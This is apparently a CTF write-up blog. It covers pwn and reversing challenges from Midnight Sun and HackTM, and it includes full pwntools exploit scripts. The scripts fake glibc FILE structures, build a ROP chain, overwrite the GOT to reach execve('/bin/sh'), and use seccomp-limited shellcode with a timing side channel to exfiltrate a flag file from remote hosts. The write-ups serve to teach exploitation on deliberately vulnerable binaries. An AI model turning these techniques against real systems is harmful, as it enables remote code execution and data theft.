A static, no PIE, canary, AMD64 Binary, intended for pwny racing. Solved by faking glibc’s stdin/out FILE structures and writing a ROPchain into stack memory.

Download

Challenge Overview

At it’s core, the challenge looked like this in pseudo-decompiled-C. We can swap a single bit at an arbitrary address.

static volatile int loop;
while (loop < 1) {
    unsigned char* addr;
    unsigned int bitidx;
    printf("addr:");
    fscanf(stdin, "%p:%u", &addr, &bitidx);
    if (bitidx > 7)
        break;
    *addr ^= (1 << bitidx);
    loop++;
}

Unlimited Swaps

First, define some helper functions to swap a bit, write a byte and a bytestring to some (previously null) memory. To get an unlimited amount of swaps, we overwrite the sign bit of the loop variable. As it is declared as volatile, it is reloaded on the next compare and loop < 1 holds true.

def swapbitat(addr, bit):
    r.sendlineafter('addr:', '{}:{}'.format(hex(addr), bit))


def writebyte(addr, value):
    for idx in range(8):
        if (1 << idx) & value:
            swapbitat(addr, idx)


def writeto(addr, buf):
    for i in range(len(buf)):
        writebyte(addr + i, ord(buf[i]))

swapbitat(0x6D7333, 7)

Leaking A Stack Pointer

stdin, stdout and stderr in C are pointers to some FILE struct. FILE is a typedef for _IO_FILE, which is defined in struct_FILE.h. Besides holding a fileno (i.e. stdin = 0, stdout = 1, …), glibcs implementation does a lot of buffering on files as well (see the setvbuf kind of functions). There are slides of Angelboy available, which do descibe the thechiques I used in detail: e.g. https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf

tl;dr, by messing with _IO_write_base, _IO_write_ptr and _IO_read_end of _IO_FILE we can get arbitrary read. The following C snippet shows this behaviour:

static char leakme[] = {'a', 'b', 'c', 'd'};
puts("test");
stdout->_IO_write_base = leakme;
stdout->_IO_write_ptr = &leakme[4];
stdout->_IO_read_end = stdout->_IO_write_base;
puts("test");

Output:

test
testabcd

However, we can’t just overwrite the existing structure bit-by-bit, we would access corrupt pointers as stdin/out is accessed on every iteration of the loop. To solve this problem we swap a single bit inside of the stdout pointer (which is placed inside rw memory as well), so it points to some unused, zeroed out, rw space. Before we perform this “atomic stdout structure” swap of course we place a faked structure at this address.

def fakestdout(a, b):
    return struct.pack('<28Q',
                       0x00000000fbad0800,
                       0x00000000006d53e3,
                       a,
                       0x00000000006d53e3,
                       a,
                       b,
                       0x00000000006d53e3,
                       0x00000000006d53e3,
                       0x00000000006d53e4,
                       0, 0, 0, 0, 0,
                       1,
                       0, 0,
                       0x00000000006d7d30,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)

writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))
swapbitat(0x006d57a1, 5)
r.recvn(4)
stack = struct.unpack('<Q', r.recvn(8))[0]
print('stack at 0x{:x}'.format(stack))
swapbitat(0x006d57a1, 5)

We get some stack address leaked in return, and immediately change back stdout to the original struct by swapping the same bit again.

Constructing A ROPchain

This part is easy, I used ROPgadget’s automatic ropchain generation feature ROPgadget.py --ropchain --binary pwn6. For some reason it doesn’t make use of a pop rax; ret; gadget for the syscall id, did it myself so it looks nicer.

Arbitrary Write

Now we need to write our ropchain onto the stack. To get an arbitrary write we use the same technique we already used for leaking. This time we fake a stdin structure and let the “read buffer” point onto the stack by modifying _IO_buf_base and _IO_buf_end. As a result any stdlib call reading from stdin will “buffer” input wherever we want to.

To leave the loop, we send “000000:8” to trigger the break and start the ropchain. The many zeros are only placed there so it is a nice 8Bytes size.

Final Sploit

from pwn import *
from struct import pack

r = remote('pwn6-01.play.midnightsunctf.se', 10006)


def swapbitat(addr, bit):
    r.sendlineafter('addr:', '{}:{}'.format(hex(addr), bit))


def writebyte(addr, value):
    for idx in range(8):
        if (1 << idx) & value:
            swapbitat(addr, idx)


def writeto(addr, buf):
    for i in range(len(buf)):
        writebyte(addr + i, ord(buf[i]))


def fakestdout(a, b):
    return struct.pack('<28Q',
                       0x00000000fbad0800,
                       0x00000000006d53e3,
                       a,
                       0x00000000006d53e3,
                       a,
                       b,
                       0x00000000006d53e3,
                       0x00000000006d53e3,
                       0x00000000006d53e4,
                       0, 0, 0, 0, 0,
                       1,
                       0, 0,
                       0x00000000006d7d30,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)


def fakestdin(a, b):
    return struct.pack('<28Q',
                       0x00000000fbad208b,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       a,
                       b,
                       0, 0, 0, 0, 0,
                       0,
                       0, 0,
                       0x00000000006d7d40,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)


def rop():
    p = pack('<Q', 0x00449b46) * 0x10  # ret
    p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
    p += pack('<Q', 0x00000000006d50e0)  # @ .data
    p += pack('<Q', 0x00000000004158a4)  # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
    p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
    p += pack('<Q', 0x0000000000444e00)  # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004006a6)  # pop rdi ; ret
    p += pack('<Q', 0x00000000006d50e0)  # @ .data
    p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
    p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
    p += pack('<Q', 0x0000000000449af5)  # pop rdx ; ret
    p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
    p += pack('<Q', 0x00000000004158a4)  # pop rax
    p += pack('<Q', 59)
    p += pack('<Q', 0x000000000040130c)  # syscall
    return p


def sploit():
    # unlimited swaps
    swapbitat(0x6D7333, 7)

    # create fake file struct to leak a stack ptr
    writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))

    # detour & restore stdout to/from fake file struct
    swapbitat(0x006d57a1, 5)
    r.recvn(4)
    stack = struct.unpack('<Q', r.recvn(8))[0]
    print('stack at 0x{:x}'.format(stack))
    swapbitat(0x006d57a1, 5)

    # create fake file struct to smash the stack
    writeto(0x6d7580, fakestdin(stack - 0x138, stack + len(rop())))
    swapbitat(0x006d57a9, 5)
    r.sendlineafter('addr:', '000000:8' + rop())

    r.interactive()


if __name__ == '__main__':
    sploit()

A “kind of” blind pwning challenge, non-pic binary was provided (but not unusable out of the box because of some linker foo?).

Download

user@KARCH ~ % nc 138.68.67.161 20004
 [*] Wise man said: 'Think twice before speaking once'
 [1] Think
 [2] Speak
 [3] Give Up
 >1
 [#] Enter Where: 4194304
[ 
ELF ]
 [1] Think
 [2] Speak
 [3] Give Up
 >3

The basic functionality was, that one could leak memory as often as he wants. But a 8 byte-write is allowed only once.

Resolving Functions

Let’s start with leaking everything we need. First of all we obtain a pointer into libc by leaking from our own GOT. Then we can let pwntools DynELF do the rest of the work. Done.

libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000
d = DynELF(leakat, libcptr)
d.lookup('system')

Unlimited Write

In the next step I crafted some unlimited writing primite. If we look at the implementation of the leaking functionality we can see that it is implemented using a write(stdout, myaddr, 8).

sym.imp.printf(" [#] Enter Where: ");
sym.imp.fflush(_reloc.stdout);
sym.imp.__isoc99_scanf("%lu", &var_10h);
sym.imp.puts("[ \n");
sym.imp.write(1, var_10h, 8);
sym.imp.puts(" ]");

Now, if we overwrite the reloc.write with read, a leak request at myaddr will lead to the execution of read(stdout, myaddr, 8). Even though we are reading from stdout, it is effectively the same as stdin. And by using this we now have unlimited writes.

RIP & RDI Control

In a final step I wanted to execute system(“/bin/sh”). For getting RIP control I overwrote reloc.exit with an address of my choice. So exiting gives me RIP control, but RDI is not controllable at all (it is zero because of exit(0)).

If we look at the initialization routine of the binary we can see three calls to setbuf/setvbuf. And each of them dereferences a pointer from a controllable location (reloc.stdin/out/err) and uses it to call a controllable function with.

void sym.init_proc(void)
{
    sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    sym.imp.setbuf(_reloc.stderr, 0);
    sym.imp.signal(0xe, sym.handler);
    sym.imp.alarm(0x3c);
    return;
}

closer look in asm:

0x004008db      488b05be0720.  mov rax, qword [obj.stderr]
0x004008e2      be00000000     mov esi, 0
0x004008e7      4889c7         mov rdi, rax
0x004008ea      e801feffff     call sym.imp.setbuf

The Idea is to overwrite setbuf with system and modify reloc.stderr to be a pointer pointing to /bin/sh. Stderr is never used inside the code, so nothing is going to crash. The /bin/sh string is placed in some unused memory (e.g. just at the end of the reloc section). If we have done this, we can now just call main or init_proc to get a shell. (At least I thought so, it crashed…)

WTF

I don’t know what was going on on the remote side, but to me it seemed like the env pointer was wrong? So when doing a system(“/bin/sh”) libc would try to resolve the environment variables, but it got a wrong pointer and it would crash. Anyways, by calling execve directly this doesn’t happen, because we would have to do the job of supplying argv and env pointers. Supplying NULL is fine as well. And as lucky as we are, the second and third arguments are either NULL or some valid pointers. Shell.

from pwn import *

r = remote('138.68.67.161', 20004)


def leakat(addr):
    r.sendlineafter('>', '1')
    r.sendlineafter('Where:', str(addr))
    r.recvuntil('[ \n')
    return r.recvn(8)


def writeto(addr, value):
    r.sendlineafter('>', '2')
    r.sendlineafter('Where:', str(addr))
    r.sendlineafter('What: ', str(value))


def xwrite(addr, value):
    r.sendlineafter('>', '1')
    r.sendlineafter('Where:', str(addr))
    r.recvuntil('[ \n')
    r.send(struct.pack('<Q', value))


def sploit():
    libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000

    # resolve addresses. Use execve instead of system because of fucked up env ptr?
    d = DynELF(leakat, libcptr)
    addr_execve = d.lookup('execve')
    addr_read = d.lookup('read')

    # read is now write for unlimited write.
    writeto(0x00601020, addr_read)

    # place /bin/sh in unused mem, let reloc.stderr point there
    xwrite(0x00601100, struct.unpack('<Q', b'/bin/sh\0')[0])
    xwrite(0x006010a0, 0x00601100)

    # setbuf is now execve
    xwrite(0x00601028, addr_execve)

    # exit is now main
    xwrite(0x00601068, 0x00400930)

    # exit to main -> init_proc -> execve("/bin/sh", 0, ?)
    r.sendlineafter('>', '3')
    r.interactive()


if __name__ == '__main__':
    sploit()

The challenge generates a mustache based on argv[1] input. Challenge authors supplied us with the target mustache, which we had to match.

Download

user@KARCH ~/ctf/papa % ./papa_bear AAAAA
   ______   _______  ______   _______      ______   _______  _______  ______
  (_____ \ (_______)(_____ \ (_______)    (____  \ (_______)(_______)(_____ \
   _____) ) _______  _____) ) _______      ____)  ) _____    _______  _____) )
  |  ____/ |  ___  ||  ____/ |  ___  |    |  __  ( |  ___)  |  ___  ||  __  /
  | |      | |   | || |      | |   | |    | |__)  )| |_____ | |   | || |  \ \
  |_|      |_|   |_||_|      |_|   |_|    |______/ |_______)|_|   |_||_|   |_|

            dWMM=-        dWWMWWMMWWMWb  dWMMWWMWWMMWb        -=WMWb
          dWMMP       dWWMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb        qMMb
          MMMMb   dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb    dMMM
          qMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
            QMMMMMMMMMMMMMMMMMMMMMMMMMP  QMMMMMMMMMMMMMMMMMMMMMMMMMMP
              QMMMMMMMMMMMMMMMMMMMP          QMMMMMMMMMMMMMMMMMMMP
                     QMMMMMMP                         QMMMMMMP

Like in babybear, the input transformation into the mustache was linear. So this time I tried to solve it without reversing at all, just by bruteforce.

Patching

I tried to run the binary with python subprocess.getoutput aaaand it did not work. (output was always empty) A look with strace on the binary revealed that the output is written to stdin, and not stdout. As there was only one position where the output is written, I just patched the file descriptor from 0 to 1. (r2 -w papa_bear, seek to the write, and patch the rdi assignment to wa mov rdi, 1) Now everything works as expected.

Bruteforcing

We now can just guess byte by byte until we match the desired mustache. Sometimes manual intervention is necessary to prevent a path explosion (it seems like the @ symbol can cause recursion).

import subprocess
import string

soll = """
dWWW=- dWWMWWWWWMWMb dMMWWWWWWWWWb -=MMMb
dWMWP dWWWMWWWMMWMMMWWWWWMMMMMMWMMMWWWMMMb qMWb
WMWWb dMWWMMMMMMWWWWMMWWWMWWWWWWMMWWWWMWMWMMMWWWWb dMMM
qMMWMWMMMWMMWWWMWMMMMMMMMWMMMMWWWMMWWMWMWMMWWMWWWWMWWMMWMMWP
QWWWWWWWMMWWWWWWWMMWWWWMMWP QWWWMWMMMMWWWWWMMWWMWWWWWWMP
QWMWWWMMWWMWMWWWWMWWP QWWMWWMMMWMWMWWWWMMMP
QMWWMMMP QMMMMMMP
"""


def normalize(data):
    return ''.join(filter(lambda c: c if c in ['W', 'M'] else '', data)).replace('W', '1').replace('M', '0')


soll = normalize(soll)

states = ['HackTM{F4th3r bEaR s@y$: Smb']
while states:
    newstates = []
    for state in states:
        for c in string.digits + string.ascii_letters + string.whitespace + r"""!"#%&'()*+,-./:;<=>?@[\]^_`{|}~""":
            ist = subprocess.getoutput("./papa_bear '{}'".format((state + c).replace("'", "'\\''")))
            ist = ''.join(ist.splitlines()[7:])
            ist = normalize(ist)
            ist = ist[:ist.rfind('1') + 1]
            if soll.startswith(ist):
                newstates.append(state + c)
    states = newstates
    print(states)

Obey the rules was a simple pwning / shellcoding challenge at HackTM. Loading in r2 we see the following:

Download

user@KARCH ~/ctf/rules % r2 obey_the_rules
 -- Press any key to continue ...
[0x00400a70]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400a70]> s main
[0x00400ce1]> pdg

undefined8 main(void)
{
    int64_t iVar1;
    int32_t iVar2;
    undefined8 uVar3;
    int64_t in_FS_OFFSET;
    int64_t var_84h;
    int64_t var_78h;
    int64_t var_70h;
    int64_t var_8h;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    sym.init_proc();
    sym.imp.memset(&var_70h, 0, 100);
    sym.open_read_file((int64_t)"header.txt", 100, (int64_t)&var_70h);
    sym.imp.puts(&var_70h);
    var_84h._0_4_ = sym.open_read_file((int64_t)"description.txt", 800, (int64_t)obj.description);
    sym.imp.printf("\n    %s\n  ", obj.description);
    sym.imp.puts(" >> Do you Obey? (yes / no)");
    sym.imp.read(0, obj.answer, 0xb);
    var_84h._0_4_ = sym.open_read_file((int64_t)"RULES.txt", 0x96, (int64_t)obj.rules);
    var_84h._4_2_ = (undefined2)((int32_t)var_84h >> 3);
    iVar2 = sym.imp.prctl(0x26, 1, 0, 0, 0);
    if (iVar2 < 0) {
        sym.imp.perror("prctl(PR_SET_NO_NEW_PRIVS)");
    // WARNING: Subroutine does not return
        sym.imp.exit(2);
    }
    iVar2 = sym.imp.prctl(0x16, 2, (int64_t)&var_84h + 4);
    if (iVar2 < 0) {
        sym.imp.perror("prctl(PR_SET_SECCOMP)");
    // WARNING: Subroutine does not return
        sym.imp.exit(2);
    }
    iVar2 = sym.imp.strcmp(obj.answer, "Y");
    if (iVar2 == 0) {
        sym.set_context();
    } else {
        sym.imp.system("/bin/sh");
    }
    uVar3 = 0;
    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        uVar3 = sym.imp.__stack_chk_fail();
    }
    return uVar3;
}

[0x00400ce1]> pdg @sym.set_context

void sym.set_context(void)
{
    int64_t iVar1;
    int64_t var_8h;
    
    iVar1 = sym.imp.strlen(obj.answer);
    obj.answer[iVar1] = (code)0x59;
    sym.imp.strcpy(_obj.region, obj.answer);
    (*_obj.region)(0x539);
    return;
}
[0x00400ce1]> 

First of all, we see that the r2 ghidra plugin is nice for quick decompilation needs. Second, we see what the challenge does:

• printing some fancy headers
• reading a maximum of 11 Bytes from stdin
• loading seccomp rules unknown to us out of a file
• if the input is “Y\0”, it will jump into our sumbitted input and executes it (the nullybte is replaced by another ‘Y’)
• else it executes /bin/sh, which is killed due to seccomp

So after excluding “Y\0” we have a total of 9 bytes left for shellcode.

Testing for allowed syscalls

First I checked which syscalls are allowed. If a syscall was forbidden, it would report illegal instruction, else a segmentation fault occurs. As we could not use nullbytes due to the strcpy, i checked the syscall id 0 case manually and used the following code for the other syscalls up to 255:

xor rax, rax;
mov al, {nr};
syscall;
ud2;

Which compiles down to exactly 9 bytes. The ud2 is optional and should just crash immediately if the syscall succeeded. I found out that the syscalls (0 read, 2 open, 60 exit) are allowed. That’s enough to work with as the flag location was given and even if a write is lacking I could just use some sidechannel to exfiltrate the flag.

Getting unlimited RCE

To get unlimited RCE I planned to reread additonal shellcode by using something like read(0, $rip, amount). We need to get:

• rax = 0
• rdi = 0
• rsi = $rip
• rdx = amount

The only “trick” I used to save bytes was using push rbx; pop rax; (2 bytes) instead of moving registers with mov rax, rbx; (3 bytes). For getting rax = rdi = 0 I used the fact that register rbx would always be zero, which lead to the following shellcode.

push rbx;
push rbx;
pop rax;
pop rdi;

To get rsi right in front of our $rip I used the fact that the current top of stack just holds exactly that value.

pop rsi;

Lastly I wanted to read some bigger amount, so I just wrote 0xff to rdx’s high byte.

mov dh, 0xff;

Two bytes left for the syscall, we are ready to overwrite the code at $rip :)

syscall;

Sidechannels and Profit

For exfiltrating the flag there are two sidechannels which came to my mind.

• timing based (burn cpu cycles using some loop)
• blocked syscall based (1/0 oracle by calling a blocked syscall or exit normally)

I decided to go with the timing one. To speed things up one could implement fancy stuff like a binary search or burn CPU power depending on the currently exfiltrated character with that approach. I did not. So here is the final script stupidly bruteforcing all possibilities. Notice that I open the file twice to increment the fd id. Because the seccomp filter seemed to block read syscalls with fd==3.

from pwn import *
import time

context.clear(arch='amd64')

payload1 = asm(
    """
    push rbx;
    push rbx;
    pop rax;
    pop rdi;
    pop rsi;
    mov dh, 0xff;
    syscall;
    """
)
assert len(payload1) < 10

payload2 = (
        shellcraft.open('/home/pwn/flag.txt') +
        shellcraft.open('/home/pwn/flag.txt') +
        shellcraft.read(fd='rax', buffer='rsp', count=0x100) +
        'xor rcx, rcx;' +
        'mov al, [rsp + {}];' +
        'cmp al, {};' +
        'jne done;' +
        'mov rcx, 0x3ffffff;' +
        'times:\nloop times;done:;' +
        shellcraft.exit(0)
)


def sploit(r, idx, ch):
    r.send('Y\0' + payload1.ljust(9, '\x90') + '\x90' * 11 + asm(payload2.format(idx, ch)))


if __name__ == '__main__':
    flag = ''

    while True:
        print(flag)
        for c in string.printable:
            r = remote('138.68.67.161', 20001)
            r.recvuntil('>>')
            sploit(r, len(flag), ord(c))
            a = time.time()
            try:
                r.recvuntil('yeet')
            except EOFError:
                pass
            if time.time() - a > 0.8:
                flag += c
                break
            r.close()

Babybear was a simple reversing challenge, and I solved it the hard way by reversing the whole thing.

Download

user@KARCH ~/ctf/bear % ./baby_bear 

  (c).-.(c)    █  █         █         █
   / ._. \     █  █         █         █
 __\( Y )/__   █  ███   ███ ███  █  █ ███   ███   ███ █ ██
(_.-/'-'\-._)  █  █  █ █  █ █  █  ██  █  █ █████ █  █ ██
   || X ||     █  █  █ █  █ █  █  █   █  █ █     █  █ █
 _.' `-' '._   █  ███   ███ ███  █    ███   ███   ███ █
(.-./`-'\.-.)  █
 `-'     `-'   █  Baby bear says: 1110111010010001101111100110000001110000000110

What do you say? AAAAAAAA
1111001100110011001100110011001101000101010101
Baby bear is thinking...

"Someone's been eating my porridge and they ate it all up!" cried the Baby bear.

There is some translation function, which translates input into a sequence of 1s and 0s. The challenge is to find some input which leads to the same sequence as the one babybear got. Bruteforcing is not an option because we neet to proove against the remote server and the secret is a 16Byte value from urandom.

Unpacking

The whole thing is UPX packed, however it would not unpack by using the default UPX tool. So I just started the packed executable in radare2, continued until the text input appears, and took a memory snapshot of the unpacked region. (which is a valid ELF file for itself as well)

[0x004005dd]> dm
0x0000000000400000 - 0x0000000000401000 * usr     4K s r-x /home/user/ctf/bear/baby_bear /home/user/ctf/bear/baby_bear ; map.home_user_ctf_bear_baby_bear.r_x
0x0000000000600000 - 0x0000000000601000 - usr     4K s rwx /home/user/ctf/bear/baby_bear /home/user/ctf/bear/baby_bear ; map.home_user_ctf_bear_baby_bear.rwx
0x0000000000601000 - 0x0000000000602000 - usr     4K s rwx unk0 unk0 ; map.unk0.rwx
0x00007ffc88b21000 - 0x00007ffc88b43000 - usr   136K s rwx [stack] [stack] ; map.stack_.rwx
0x00007ffc88bcd000 - 0x00007ffc88bd0000 - usr    12K s r-- [vvar] [vvar] ; map.vvar_.r
0x00007ffc88bd0000 - 0x00007ffc88bd1000 - usr     4K s r-x [vdso] [vdso] ; map.vdso_.r_x
[0x004005dd]> s 0x0000000000600000
[0x00600000]> dmd
Dumped 4096 byte(s) into 0x00600000-0x00601000-rwx.dmp
[0x00600000]> 

We can now continue working with the unpacked version.

Reversing

Initially my first thought was to just bruteforce byte by byte, as the input seemed to be transformed linear (i.e. leaving the first byte the same leads to the same start of the output sequence). But as the challenge was network based I was afraid of hitting a timeout before I could obain some result. So I started reversing the translation function. As the binary seemed to be handwritten in assembly this was a little painful.

Basically what it does is creating a binary representation of the input bytes in memory. Then it traverses some Graph, where each node consumes one bit of the input. Depending on the input the next node is choosen, and sometimes value(s) are omitted (“1” or “0”, leading to the output sequence). After 46 omitted values the translation function returns.

So what I did was placing brakepoints on all cmpsb byte [rsi], byte ptr [rdi], scasb al, byte [rdi] and lodsb al, byte [rsi] instructions, as well as on the output function. Those are my nodes. Then I took pen and paper and traced the graph for a known input until I reconstructed the whole graph. This was some kind of a sisiphus work and I got mad on every new node, but it must have been worse for the challenge author to construct this task in plain ASM :D

Then, I implemented the graph in Python so I could perform a fast translation. Based on this I did a simple bruteforce search, even had to limitate the amount of states kept to 10 to avoid a combinatorial explosion.

import string


class Graph:
    def __init__(self, data):
        self.path = []
        self.data = data[:]
        self.length = 0x2e

    def finished(self):
        return self.length <= 0 or not self.data

    def emit(self, value):
        self.path.append(value)
        self.length -= 1

    def x366(self, x):
        if x:
            self.emit(1)
            return self.x34d
        self.emit(0)
        return self.x3de

    def x34d(self, x):
        if x:
            return self.x457
        return self.x40b

    def x457(self, x):
        if x:
            self.emit(0)
            return self.x3b0
        return self.x37e

    def x40b(self, x):
        if x:
            self.emit(1)
            self.emit(0)
            return self.x3b0
        self.emit(1)
        return self.x37e

    def x3de(self, x):
        if x:
            self.emit(0)
            return self.x379
        return self.x3e9

    def x3e9(self, x):
        if x:
            return self.x37e
        self.emit(0)
        return self.x470

    def x470(self, x):
        if x:
            self.emit(1)
            return self.x482
        return self.x44c

    def x44c(self, x):
        if x:
            self.emit(0)
            return self.x3c4
        return self.x3c7

    def x482(self, x):
        if x:
            self.emit(0)
            return self.x3c4
        return self.x44c

    def x3c4(self, x):
        if x:
            return self.x3c7
        return self.x366

    def x3c7(self, x):
        if x:
            self.emit(1)
            return self.x366
        self.emit(1)
        return self.x11b

    def x11b(self, x):
        if x:
            return self.x366
        self.emit(0)
        return self.x470

    def x39c(self, x):
        if x:
            self.emit(0)
            return self.x3b0
        self.emit(1)
        return self.x482

    def x3b0(self, x):
        if x:
            self.emit(0)
            return self.x3c4
        return self.x366

    def x37e(self, x):
        if x:
            return self.x39c
        self.emit(1)
        return self.x482

    def x379(self, x):
        if x:
            return self.x40b
        return self.x37e

    def traverse(self):
        current = self.x366
        while not self.finished():
            current = current(self.data.pop(0))
        return self.path


def tobin(key):
    res = ''
    for c in key:
        res += '{:08b}'.format(ord(c))[::-1]
    return [1 if c == '1' else 0 for c in res]


def arrstartswith(arr, pre):
    return arr[:len(pre)] == pre


result = [1 if x == '1' else 0 for x in '0010111111001000100111101111111011000100100100']


states = ['']
for _ in range(12):
    newstates = []
    for state in states:
        newstates += [state + x for x in string.letters]
    states = filter(lambda x: arrstartswith(result, Graph(tobin(x)).traverse()), newstates)[:10]

print(states)